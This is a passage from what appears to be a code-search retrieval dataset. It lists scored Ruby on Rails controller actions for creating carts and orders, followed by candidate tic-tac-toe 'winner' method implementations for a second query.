"ce25cf147a1b178f4ebf9ffa36ee9c65", "score": "0.74000514", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dee784ff0347e80415d0a56fcc668798", "score": "0.7395999", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "648db9f21054c6befeb51b680a217fb5", "score": "0.7391099", "text": "def new\n @cartelera = Cartelera.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartelera }\n end\n end", "title": "" }, { "docid": "8073373132431077ac4abe6ba689cece", "score": "0.73890996", "text": "def new\n @carton_box = CartonBox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carton_box }\n end\n end", "title": "" }, { "docid": "53af600ceb378d57d08c6cce9c8af777", "score": "0.7384904", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, greenNotice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e214dbbdaaadd8aa86ec1063b803e7d7", "score": "0.73532677", "text": "def new\n @cart_related_product = CartRelatedProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart_related_product }\n end\n end", "title": "" }, { "docid": "f80fc95fa7115f8226c69cb25f403855", "score": "0.73370886", "text": "def create\n @cartt = Cartt.new(params[:cartt])\n\n respond_to do |format|\n if @cartt.save\n format.html { redirect_to @cartt, notice: 'Cartt was successfully created.' }\n format.json { render json: @cartt, status: :created, location: @cartt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9fa8e0f58be85c5ada3606e4b0bb021", "score": "0.73311335", "text": "def create\n # puts \"***CartController#create****\"\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6f4752a22bf51e2f13abc9d65ef5da9", "score": "0.7319689", "text": "def create\n @cart = Cart.new(cart_params)\n if @cart.save!\n session[:cart_id] = @cart.id\n render json: {\n status: :ok,\n message: 'Cart created successfully'\n }\n else\n render json: {\n status: :internal_server_error,\n message: 'Error creating cart'\n }\n end\n end", "title": "" }, { "docid": "2ed05351f8959b1c59c31fd25ed18632", "score": "0.7318883", "text": "def create\n response, status = BeyondApi::Request.post(@session,\n \"/carts\")\n\n handle_response(response, status)\n end", "title": "" }, { "docid": "ff2514aad25ecb780ac523a73c4ba0f8", "score": "0.73156685", "text": "def new\n @home_cart_index = Home::Cart::Index.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @home_cart_index }\n end\n end", "title": "" }, { "docid": "12aa37ad954d2e174c0e2dac5f6dec9e", "score": "0.73149407", "text": "def new\n @discount = Discount.new\n @cart = current_cart\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discount }\n end\n end", "title": "" }, { "docid": "8cac6089909a14626234129f326d7aa9", "score": "0.7308199", "text": "def create\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "731a6ddb71485eca0d0352ef3aac7580", "score": "0.7299716", "text": "def new\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to store_url, notice: \"Your cart is empty\"\n return\n end\t\n\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end", "title": "" }, { "docid": "27bf1d86200c24612565b995995ddcbd", "score": "0.7295233", "text": "def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.valid?\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "882e8ef7cbccc86528784331611caecd", "score": "0.72762585", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart }\n end\n end", "title": "" }, { "docid": "882e8ef7cbccc86528784331611caecd", "score": "0.72762585", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart }\n end\n end", "title": "" }, { "docid": "882e8ef7cbccc86528784331611caecd", "score": "0.72762585", "text": "def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart }\n end\n end", "title": "" }, { "docid": "944c11e481541fde1a9b75c5c5a3b40d", "score": "0.7271801", "text": "def new\n @home_cart_success = Home::Cart::Success.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @home_cart_success }\n end\n end", "title": "" }, { "docid": "65f8545fdb554440780ad45285a683c5", "score": "0.72672373", "text": "def new\n @cart ||= current_cart\n if @cart.line_items.empty?\n redirect_to store_url, notice: t('cart.emplied')\n end\n\n @order = Order.new\n @order.add_line_items_from_cart(current_cart)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end", "title": "" }, { "docid": "aaf5d7d173ec27bc9c383332e0106ff5", "score": "0.7252934", "text": "def new\n @photo_cart = PhotoCart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo_cart }\n end\n end", "title": "" }, { "docid": "d8d997820b4278bc3b8a20eac81cdb84", "score": "0.72494054", "text": "def new\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to root_path, notice: \"Ваша корзина пуста\"\n return\n end\n\n @order = Order.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end", "title": "" }, { "docid": "6f4f3f5f781ad79c0221fe44d79e6e12", "score": "0.72320414", "text": "def create_cart\n check_user_authorization\n post_wrapper('/V1/carts/mine', {}.to_json, default_headers)\n end", "title": "" }, { "docid": "077cb55b86d867330cbc269951783fa1", "score": "0.7226775", "text": "def new_cart\r\n\t\tCart.new(self)\r\n\tend", "title": "" }, { "docid": "371e216fbdb06ba505b35c4ab2f5925e", "score": "0.72211385", "text": "def new\n @cart = current_cart\n if @cart.order_items.empty?\n redirect_to root_url, notice: \"Your cart is empty\"\n return\n end\n @order = Order.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end", "title": "" }, { "docid": "0a3cf749e4a5a6c7071d2df3fc327418", "score": "0.72082734", "text": "def new\n @cart = current_cart\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "671f5139d31b59a9b408c3b690b7ebe2", "score": "0.71979254", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, flash[:success] ='Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54608e06c0bc1171071e7eeb868cb5ef", "score": "0.7197084", "text": "def new\n # Remove the cart_id from the session\n session[:cart_id] = nil\n \n respond_to do |format|\n format.html { redirect_to carts_url }\n #format.xml { render :xml => @cart }\n end\n end", "title": "" }, { "docid": "691115dd459da7eb5dd982c6ac42f705", "score": "0.71924937", "text": "def new\n @cart = Cart.new\n end", "title": "" }, { "docid": "2142daffc72e5305930b6ea8d595a459", "score": "0.71748704", "text": "def new\n # @reservation_cart = ReservationCart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation_cart }\n end\n end", "title": "" }, { "docid": "e1b9ff26c019160009e62274318a2ca1", "score": "0.7141641", "text": "def new\n @home_cart_information = Home::Cart::Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @home_cart_information }\n end\n end", "title": "" }, { "docid": "f30c060609a4113917fd97a6844f9499", "score": "0.7136363", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save(:validate => false)\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bfb11b3923fddf0820c1bf75edbf5e76", "score": "0.7126989", "text": "def new\n\t@cart = current_cart\n\tif @cart.line_items.empty?\n\tredirect_to products_url, notice: \"Your cart is empty\"\n\treturn\n\tend\n\n \n @storeorder = Storeorder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @storeorder }\n end\n end", "title": "" }, { "docid": "2934577ee77ab166a2f59d508f595e6c", "score": "0.71243787", "text": "def new\n @cart = current_cart\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end", "title": "" }, { "docid": "87f94efcd14f800e39c6603c258a810d", "score": "0.7113321", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "title": "" }, { "docid": "06971804d90a2d85151f079778309fad", "score": "0.70961225", "text": "def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart_item }\n end\n end", "title": "" }, { "docid": "611b1a9fc6b00fc0759dfd0ee92c838d", "score": "0.70893675", "text": "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart }\n end\n end", "title": "" }, { "docid": "1a46becfc91dd3199c90029d46ad58bd", "score": "0.708143", "text": "def create\n @m_cart = MCart.new(params[:m_cart])\n\n respond_to do |format|\n if @m_cart.save\n format.html { redirect_to @m_cart, notice: 'M cart was successfully created.' }\n format.json { render json: @m_cart, status: :created, location: @m_cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @m_cart.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9474ed66404a446eb66931bc72276168", "score": "0.70715505", "text": "def new\n @cart_row = CartRow.new\n \n unless params[:cart_id].nil?\n @cart_row.cart_id = params[:cart_id]\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart_row }\n end\n end", "title": "" }, { "docid": "1e187a5af9784faf19293c00c003449f", "score": "0.7068014", "text": "def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart_item }\n end\n end", "title": "" }, { "docid": "1e187a5af9784faf19293c00c003449f", "score": "0.7068014", "text": "def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cart_item }\n end\n end", "title": "" }, { "docid": "dad02672e7bf9259fbe816cbfd55faf6", "score": "0.70573634", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to(@cart, :notice => 'Cart was successfully created.') }\n format.xml { render :xml => @cart, :status => :created, :location => @cart }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cart.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f118fd2c50d93379c70a66e9180a8e5", "score": "0.7037887", "text": "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @catalog }\n end\n end", "title": "" }, { "docid": "6f118fd2c50d93379c70a66e9180a8e5", "score": "0.7037887", "text": "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @catalog }\n end\n end", "title": "" }, { "docid": "8eea54e466d7bf227fbbd89572e796db", "score": "0.70319253", "text": "def new\n @basket = Basket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basket }\n end\n end", "title": "" }, { "docid": "8eea54e466d7bf227fbbd89572e796db", "score": "0.70319253", "text": "def new\n @basket = Basket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basket }\n end\n end", "title": "" }, { "docid": "d6f600b4697b092364d6700c871208d4", "score": "0.70269215", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to(@cart) }\n format.xml { render :xml => @cart, :status => :created, :location => @cart }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cart.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd164c11c5a835941f0e29fceb079f12", "score": "0.70240414", "text": "def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n flash[:notice] = 'Cart was successfully created.'\n format.html { redirect_to(@cart) }\n format.xml { render :xml => @cart, :status => :created, :location => @cart }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cart.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b936b8e10b8608651093853b1a5c877", "score": "0.6994124", "text": "def new\n @cart = current_cart\n @employee = Employee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @employee }\n end\n end", "title": "" }, { "docid": "4230e2908593cf65bc0e2682d25152c9", "score": "0.69889647", "text": "def new\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to root_url, :notice => \"对不起,您的购物车是空的\"\n return\n end\n\n @order = Order.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end", "title": "" } ]
f0c3df4ffead72c4fc9fdc4b3d891a50
Method that declares the winner of the game by checking the token value of the won? method. Returns nil if there is no winner (yet).
[ { "docid": "04240855c9b5f685734bf4a17905de24", "score": "0.71251327", "text": "def winner(board)\n won = won?(board)\n if won != false\n if board[won[0]] == \"X\"\n return \"X\"\n elsif board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\nend", "title": "" } ]
[ { "docid": "a0212a6a471438d4f6918d5e78cb8f02", "score": "0.82895154", "text": "def winner\n if won?\n win_combination = won?\n token = @board[win_combination[0]]\n return token\n end\n end", "title": "" }, { "docid": "b84464906c8137efc6267ab1d7ac281c", "score": "0.82029474", "text": "def winner(board)\n if won?(board)\n winning_index = won?(board)[0]\n winning_token = board[winning_index]\n else\n nil\n end\nend", "title": "" }, { "docid": "9d138e726938f1465bf9eb1d55399604", "score": "0.8199704", "text": "def winner(board)\n token = nil\n if won?(board) != nil\n win_combo = won?(board)\n token = board[win_combo[0]]\n end\n token\nend", "title": "" }, { "docid": "bc0fafd6ddd4e6175dcf16644a2322a3", "score": "0.8198413", "text": "def winner(board)\n token = nil\n if won?(board) != nil\n win_combo = won?(board)\n token = board[win_combo[0]]\n end\n token\nend", "title": "" }, { "docid": "949b6719493494757e6b04eeeb2e036a", "score": "0.80566424", "text": "def winner\n #return token x or o that won the game\n won = \" \"\n if winner = won?\n won = @board[winner.first]\n end\nend", "title": "" }, { "docid": "50b20f00489429b2a74fc6c615cb5d13", "score": "0.7957046", "text": "def winner(board)\n if token = won?(board)\n board[token.first]\nend\nend", "title": "" }, { "docid": "a9fc9e5d3e31d181a525ce627507bf3e", "score": "0.7814002", "text": "def winner\n if @board.over?\n check = @board.won?\n if check != false\n player = player1.token == check ? player1 : player2\n puts\n puts \"|***************************************************************|\"\n puts \"Congratualations #{player.name}! You have won this match.\"\n puts \"|***************************************************************|\"\n puts \"Press anykey to continue ...\"\n gets.chomp\n else\n puts \"End game. There's no winner. This is tied game :(\"\n end\n end\n end", "title": "" }, { "docid": "cc134d64adb971c9316d73bdf4a6582f", "score": "0.7573494", "text": "def winner\n if won? == nil\n return nil\n else\n winning_position = won?\n winning_index = winning_position[0]\n @board[winning_index]\n end\n end", "title": "" }, { "docid": "0558907ce1909a053a9d3988e4b1f1f1", "score": "0.7566831", "text": "def winner\n if !won?\n nil\n else winner = @board[won?[0]]\n\n end\n\n end", "title": "" }, { "docid": "efea087a6a8e624d1f275f80446d267c", "score": "0.7509024", "text": "def winner\n won = won?()\n if won != false\n if @board[won[0]] == \"X\"\n return \"X\"\n elsif @board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\n end", "title": "" }, { "docid": "d3aedffa73b88733122949bd235b20a3", "score": "0.74849176", "text": "def winner\n if won? != false && won? != nil\n win = won?\n return @board[win[0]]\n else\n return nil\n end\n end", "title": "" }, { "docid": "776c1a10c1a194c04e9044a6d9aa46f7", "score": "0.741677", "text": "def winner(board)\n #setting the index of the win into a variable, win\n win = won?(board)\n #now returning nil if there is no winner\n if won?(board) == false\n return nil\n #all indexes should have the same token for a win, so we're only checking the first\n elsif board[win[0]] == \"X\" && won?(board) != false\n return \"X\"\n elsif board[win[0]] == \"O\" && won?(board) != false\n return \"O\"\n end\nend", "title": "" }, { "docid": "c5f27bf132b8ba19bf8c125c8e4117ed", "score": "0.7367816", "text": "def winner\n if won?\n @board[won?[0]]\n end\n end", "title": "" }, { "docid": "c5c5be58bdf8d110eb5e48a714d32366", "score": "0.73671114", "text": "def winner\n if won?\n @board[won?[0]]\n end\n end", "title": "" }, { "docid": "ddc3b7a13776ee575edc6f5d78ca0fb3", "score": "0.7360188", "text": "def winner\n won? ? board.cells[won?[0]] : nil\n end", "title": "" }, { "docid": "1073e15fe1a4896937321ae4c98e2b4f", "score": "0.73542565", "text": "def winner\n if won?\n return @board[ won?[0] ]\n else\n return nil\n end\n end", "title": "" }, { "docid": "27bf79e8a229f788373c485f1e15417a", "score": "0.7347812", "text": "def winner\n won = \"\"\n if winner = won?\n won = @board[winner.first]\n end\n end", "title": "" }, { "docid": "58714eed68661471fb915209d99664cc", "score": "0.7285546", "text": "def winner(board)\n # if win\n winning_combo = won?(board)\n if winning_combo.nil?\n return winning_combo\n end\n # puts \"winning_combo #{winning_combo}\"\n # puts board[winning_combo[0]]\n token = board[winning_combo[0]]\n # puts token.class\n\nend", "title": "" }, { "docid": "dcac56b12cd7b4984cc8b8797e3c80e9", "score": "0.7270428", "text": "def winner()\n if won?()\n return @board[won?()[0]]\n end\n return nil\n end", "title": "" }, { "docid": "e5a8cd003e42aee30a464b2b6e1b0011", "score": "0.7229009", "text": "def winner\n if won?\n winner = won?\n return @board[winner[0]]\n else\n return nil\n end\n end", "title": "" }, { "docid": "bcc2b9a8f599ac3c4db72f27f73ede11", "score": "0.7227359", "text": "def winner \n @board[won?[0]] if won?\n end", "title": "" }, { "docid": "c9cba253d54d2d00b00f80a4bffc5330", "score": "0.7171194", "text": "def winner()\n if won?()\n win = won?()\n if @board[win[0]] == \"X\"\n return \"X\"\n elsif @board[win[0]] == \"O\"\n return \"O\"\n else @board[win[0]] != \"X\" && @board[win[0]] != \"O\" #srsly..this is like ducttape over a huge hole\n return nil\n end\n end\nend", "title": "" }, { "docid": "77e11609aa6eb93c9413fb01ff0bd976", "score": "0.7159726", "text": "def winner\n return @board[won?[0]] if won?\n end", "title": "" }, { "docid": "5ffdeda433648c3895a4ab7356f7d14d", "score": "0.71595407", "text": "def winner(board)\n array = [1]\n array = combinations(board) if combinations(board)\n \n if array.all?(X_TOKEN)\n 1\n elsif array.all?(O_TOKEN)\n 2\n end\n end", "title": "" }, { "docid": "2dc5d56f49b1ea5fbc586199d6a078a1", "score": "0.715667", "text": "def winner\n if won = won?\n board.cells[won.first]\n end\n #won? == false ? nil : @board.cells[winner[0]];\n end", "title": "" }, { "docid": "5ad9c6ae2bf90178a6ce6deca1a106e4", "score": "0.71118194", "text": "def winner(board)\n win = won?(board)\n if (!win)\n return nil\n elsif (board[win[0]] == \"O\")\n return \"O\"\n else\n return \"X\"\n end\nend", "title": "" }, { "docid": "a6491edf5afc1ffbee6f63f68f421e9b", "score": "0.70975494", "text": "def winner\n if winning_array = won?\n @board[winning_array[0]]\n end\n end", "title": "" }, { "docid": "7c49eae95ce4d0313ab08595666db3bb", "score": "0.70812225", "text": "def winner\n if won?\n win_array = won?\n position = win_array[0]\n @board[position]\n else \n nil\n end\nend", "title": "" }, { "docid": "7fd44dcf637d5c558cf478e13ba72616", "score": "0.7045899", "text": "def winner(board)\n win = won?(board)\n if win == false\n return nil\n else\n board[win[0]]\n end\nend", "title": "" }, { "docid": "96909c5597c276208a76a15dfd799a46", "score": "0.70409673", "text": "def winner\n return WHITEMAN unless board.has?(BLACKMAN)\n return BLACKMAN unless board.has?(WHITEMAN)\n return nil\n end", "title": "" }, { "docid": "68390a599059cbd3c7b491e5eac28b0b", "score": "0.7020765", "text": "def winner\n\t\tputs @board[won?[0]] + \" Won the Game!\" \n\tend", "title": "" }, { "docid": "6606aa24639b57cb37a962080af62e39", "score": "0.70165557", "text": "def winner\n if won? == false\n return nil\n end\n\n a = won?\n\n if @board[a[0]] == \"X\"\n return \"X\"\n else \n return \"O\"\n end\nend", "title": "" }, { "docid": "04d492103720fdf765b07e330e29d2f8", "score": "0.70148635", "text": "def winner \n if won? \n turn_count.even? ? \"O\" : \"X\"\n end \n end", "title": "" }, { "docid": "3dfb13e9b35bfc03ea5abe170e83b8f1", "score": "0.70139796", "text": "def winner\n self.won?? self.board.cells[self.won?[0]] : nil\n end", "title": "" }, { "docid": "01b0484587a2e8a6be1239acd22d0914", "score": "0.70131135", "text": "def winner\n if won?\n puts \"Player #{@winner} has won the game!\"\n return @winner\n else\n puts \"No winner yet!\"\n end\n end", "title": "" }, { "docid": "a1f3cdc7a9ab6df0c29802531e25c6b3", "score": "0.7012406", "text": "def winner(board)\n if (over?(board))\n if (board[won?(board)[0]] == \"X\")\n return \"X\"\n else\n return \"O\"\n end\n else\n end\n end", "title": "" }, { "docid": "fbe3f1e0e47136f84484d4cb710f4ca5", "score": "0.6999803", "text": "def winner\n if self.won?\n self.board.cells[self.won?[0]]\n elsif self.draw?\n nil\n end\n end", "title": "" }, { "docid": "596466d82bac9933140165ce9e783c7e", "score": "0.6994398", "text": "def winner\n index = won?\n if index && @board.cells[index[0]] == \"X\"\n return \"X\"\n elsif index && @board.cells[index[0]] == \"O\"\n return \"O\"\n else\n return nil\n end\n end", "title": "" }, { "docid": "01eb13449bacd3ebaed26779325d4ee2", "score": "0.69914055", "text": "def winner\r\n if self.won? != false\r\n if self.current_player == \"X\"\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end\r\n end", "title": "" }, { "docid": "0f22c7f730761618388e88bce5923f31", "score": "0.6990442", "text": "def winner(board)\n if !won?(board)\n return nil\n else board[won?(board)[0]]\n end\nend", "title": "" }, { "docid": "a562c3658381db4640ef3a01d41dfa09", "score": "0.6988417", "text": "def winner\n win_combo = won?\n if win_combo\n @board[win_combo[0]] # == 'X' || 'O'\n else\n nil\n end\n end", "title": "" }, { "docid": "6482a20ad65ad41e3ecbb61be2d91d9f", "score": "0.69863", "text": "def winner(board)\n who_wins = won?(board)\n if who_wins\n board[who_wins[0]] \n else\n nil\n end\nend", "title": "" }, { "docid": "9b0b5a262eba46991777168f82c2d101", "score": "0.697274", "text": "def winner(board)\n # returns X when X won, O when O won and nill when there is no winner\n if (draw?(board) || !full?(board)) && !won?(board)\n return nil\n elsif (board[won?(board)[0]] == \"X\")\n return \"X\"\n elsif (board[won?(board)[0]] == \"O\")\n return \"O\"\n end\nend", "title": "" }, { "docid": "6fd2eea985d4e4a5215f32416363cf1f", "score": "0.69663465", "text": "def winner\n case\n when in_checkmate?(1)\n 2\n when in_checkmate?(2)\n 1\n else\n nil\n end\n end", "title": "" }, { "docid": "331d0be9fe6cd3d7940fa2f4bdc5972d", "score": "0.694438", "text": "def winner(board)\n \n if (won?(board) == FALSE)\n return NIL\n end\n \n winning_combination = won?(board)\n win_player = board[winning_combination[0]]\n \n if (win_player == \"X\")\n return \"X\"\n else \n return \"O\"\n end\nend", "title": "" }, { "docid": "ba9825283d2e296424c340141fafe7c0", "score": "0.6911303", "text": "def winner(board)\n won?(board) ? board[won?(board)[0]] : nil\nend", "title": "" }, { "docid": "34adf2602d76199bad432e7353c381e9", "score": "0.6898176", "text": "def winner(board)\n save = won?(board)\n if save == false\n return nil\n end\n if board[save[0]] == \"X\"\n return \"X\"\n elsif board[save[0]] == \"O\"\n return \"O\"\n end\n end", "title": "" }, { "docid": "1d02290a84956f3194f7e53591459b07", "score": "0.6892138", "text": "def winner\n triplet = won?\n if !!triplet\n return @board[triplet[0]]\n end\n return nil\n end", "title": "" }, { "docid": "d68f8238a1307d5f76241bea62c57306", "score": "0.68908507", "text": "def winner(board)\n if won?(board) != nil\n board[won?(board)[0]]\n else\n end\nend", "title": "" }, { "docid": "d68f8238a1307d5f76241bea62c57306", "score": "0.68908507", "text": "def winner(board)\n if won?(board) != nil\n board[won?(board)[0]]\n else\n end\nend", "title": "" }, { "docid": "ba32cc1d0a975faacbe8885ac9c86b6d", "score": "0.68861055", "text": "def winner(board)\n winner = won?(board)\n return won?(board) == false ? nil : board[winner[0]]\nend", "title": "" }, { "docid": "57ff689c2a16611b8fd8f37c762f9668", "score": "0.68830794", "text": "def winner(board)\r\n #return token x or o that won the game\r\n \r\n if ( won?(board) )\r\n position_array = []\r\n (won?(board)).each do |element|\r\n position_array << board[element]\r\n end\r\n choice_X = position_array.all? do|element|\r\n element == \"X\"\r\n end\r\n if (choice_X )\r\n return \"X\"\r\n else\r\n return \"O\"\r\n end\r\n end\r\nend", "title": "" }, { "docid": "13d3764cba67269cc84664fddfd7d4ce", "score": "0.6880386", "text": "def winner(board)\n if won?(board) && board[won?(board)[0]] == \"X\"\n return \"X\"\n elsif won?(board) && board[won?(board)[0]] == \"O\"\n return \"O\"\n end\nend", "title": "" }, { "docid": "c300096a9c23db83528bfe30e2e06ea0", "score": "0.685994", "text": "def winner(board)\nif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"X\"}\n end\n who_won = \"X\"\n elsif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"O\"}\n end\n who_won = \"O\"\n else\n who_won = nil\n end\nend", "title": "" }, { "docid": "a6d8cc5e77ae1759a43d72340149af3a", "score": "0.6854593", "text": "def winner(board)\n if won?(board) == false\n return nil\n else\n arra = won?(board)\n return (board[arra[0]])\n end\nend", "title": "" }, { "docid": "7b762b3548fea65156571356cb45b1e0", "score": "0.68428105", "text": "def winner(board)\n # index = won?(board).pop\n if won?(board) == nil\n nil\n elsif board[won?(board)[0]] == \"X\"\n \"X\"\n elsif board[won?(board)[0]] == \"O\"\n \"O\"\n end\nend", "title": "" }, { "docid": "65524fb48031ea769e853ae48eb995d3", "score": "0.6838874", "text": "def winner(board)\n if won = won?(board)\n board[won[0]]\n end\nend", "title": "" }, { "docid": "65524fb48031ea769e853ae48eb995d3", "score": "0.6838874", "text": "def winner(board)\n if won = won?(board)\n board[won[0]]\n end\nend", "title": "" }, { "docid": "f3b72d84d9870e6d393408a1b230480a", "score": "0.6818704", "text": "def winner(board)\n if won?(board)\n winner = won?(board)\n return board[winner[0]]\n else\n return nil\n end\nend", "title": "" }, { "docid": "2b758480b7cfbef9acd2b9081f23df90", "score": "0.6814869", "text": "def winner(board)\n the_winner = won?(board)\n if the_winner\n board[the_winner[0]]\n else\n return nil\n end\nend", "title": "" }, { "docid": "305c9df77710a40db1151020d965569f", "score": "0.6802607", "text": "def winner(board)\n if !(won?(board))\n return nil\n elsif won?(board).all?{|element| board[element] == \"X\"}\n return \"X\"\n elsif won?(board).all?{|element| board[element] == \"O\"}\n return \"O\"\n end\nend", "title": "" }, { "docid": "f4906e3026b35df02c78aa6ead2e5358", "score": "0.6802013", "text": "def winner(board)\n if won?(board) !=false\n winning_index = won?(board)\n\n if board[winning_index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\n\nend", "title": "" }, { "docid": "ad3fd93b23d6fa321655bcc24767d447", "score": "0.6798962", "text": "def winner(board)\n if won?(board)\n position = won?(board)\n if board[position[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend", "title": "" }, { "docid": "9ff0453569920fcacab16e2971e4d633", "score": "0.6788678", "text": "def winner(board)\n # Return the square entry from the winning configuration\n won?(board) ? board[won?(board)[0]] : nil\nend", "title": "" }, { "docid": "d2b15d60def42aa1096858708496fdd3", "score": "0.67830324", "text": "def winner\n # checks to see if game was won\n if won?\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n board.cells[winning_array[0]]\n end\n end", "title": "" }, { "docid": "dc77c2c52afd404fd64407f972295391", "score": "0.67829216", "text": "def winner(board)\n if won?(board) != false\n return board[won?(board)[0]]\n else\n return nil\n end\nend", "title": "" }, { "docid": "8fdbd9a73078bd423fcf65922b94dabd", "score": "0.6768828", "text": "def winner(board)\n if winner_array = won?(board)\n return board[winner_array[0]]\n else\n return nil\n end\nend", "title": "" }, { "docid": "2fff2ac4c187fdc47240886ef840e26a", "score": "0.6760587", "text": "def winner(board)\n\n if won?(board) != nil\n winner_arr_firstindex = won?(board)[0]\n if board[winner_arr_firstindex] == \"X\"\n return \"X\"\n 